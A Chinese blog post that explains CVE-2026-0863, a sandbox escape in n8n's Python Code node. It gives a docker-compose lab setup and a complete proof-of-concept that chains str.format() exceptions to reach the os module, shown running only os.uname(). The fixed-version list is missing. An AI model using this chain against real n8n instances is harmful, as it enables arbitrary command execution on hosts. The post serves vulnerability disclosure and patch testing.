n8n是一款较为流行的开源工作流自动化工具,它能够让用户借助可视化界面或者代码块来开展不同服务以及API的连接工作。其中,Code节点允许用户去执行自定义的JavaScript或者Python代码,以此来实现复杂的数据处理逻辑。为了保障安全性,n8n会对这些代码的执行环境进行沙箱隔离操作。
而CVE-2026-0863恰恰是针对其Python沙箱环境的一次成功绕过行为,主要是运用了字符串格式化外加异常处理机制的组合方式。攻击者一旦成功利用了这个漏洞,就可以在n8n实例所对应的底层操作系统上执行任意命令。
- Internal模式:要是n8n运行于默认的Internal模式当中,攻击者便能够直接接管整个n8n实例所在的宿主机。
- External模式:要是n8n运行在被推荐的External模式之下(例如官方Docker镜像),任意代码的执行将会被限制在独立的Sidecar容器里面,虽然依旧属于RCE,但对主系统所产生的影响会在很大程度上降低。
目前n8n官方已发布修复方案,建议相关用户及时更新至安全版本以规避潜在风险。
复现指南
2个注意的点:
1.123.13版本内置的Python版本是Python (Beta)版本,执行PoC时,会报TypeError: 'builtin_function_or_method' object is not subscriptable。这时候只能使用外部的Sidecar容器来复现。2.3.4版本内部没Python解释器,执行PoC时,会报Python runner unavailable: Python 3 is missing from this system。秀逗猫经查阅官方文档发现,从v2.0版本开始,在外部模式下只能使用带有任务运行器的Python代码节点和原生Python工具。
为了方便复现,秀逗猫编写docker-compose.yml如下:
version:"3.8"services:n8n:image:n8nio/n8n:1.123.13container_name:n8n-mainrestart:alwaysports:-"5678:5678"environment:-N8N_RUNNERS_ENABLED=true-N8N_RUNNERS_MODE=external-N8N_RUNNERS_BROKER_LISTEN_ADDRESS=0.0.0.0-N8N_RUNNERS_AUTH_TOKEN=XiuDouMao-N8N_NATIVE_PYTHON_RUNNER=true-N8N_SECURE_COOKIE=falsevolumes:-n8n_data:/home/node/.n8ntask-runners:image:n8nio/runners:1.123.13container_name:n8n-runnersrestart:alwaysenvironment:-N8N_RUNNERS_TASK_BROKER_URI=http://n8n-main:5679-N8N_RUNNERS_AUTH_TOKEN=XiuDouMaodepends_on:-n8nvolumes:n8n_data:
(如果要测试2.3.4版本的,把上面2处1.123.13给替换为2.3.4即可)
之后创建工作流,增加Code节点,选择Python语言,把以下PoC填写进去。
defnew_getattr(obj, attribute, *, Exception):try:f'{{0.{attribute}.ribbit}}'.format(obj)except Exception as e:return e.objtry:raise ValueError("pwn")except Exception as e: tb = new_getattr(e, '__traceback__', Exception=Exception) frame = new_getattr(tb, 'tb_frame', Exception=Exception) builtins = new_getattr(frame, 'f_builtins', Exception=Exception) us = chr(95) imprt = builtins[us+us+'import'+us+us] import_globals = new_getattr(imprt, '__globals__', Exception=Exception) os = import_globals['os']# 返回执行结果return [{"json": {"uname": os.uname() }}]
这里os.uname()顺利执行成功。
这就是一个“看起来很安全的沙箱,其实被几行Python就能戳破”的典型案例。只要你有创建工作流的权限,在受影响版本的n8n上就能把沙箱玩坏。
该漏洞的核心在于利用Python字符串格式化函数str.format()在处理异常时的特性。当使用f-string或str.format()尝试访问一个对象不存在的属性时,Python会抛出 AttributeError或其他异常。在某些Python版本和环境下,这个异常对象(e)会包含一个名为obj的属性,该属性指向了格式化操作中尝试访问属性的原始对象。通过这种方式,攻击者可以绕过沙箱对getattr()或直接属性访问的限制,安全地获取任何对象的任意属性,随之攻击者就可以构建一个完整的利用链,从一个受限的异常对象开始,逐步获取到能够执行系统命令的os模块。
修复指南
用户应立即将n8n实例升级到以下版本或更高版本:
更新后,再执行同样的命令就会报错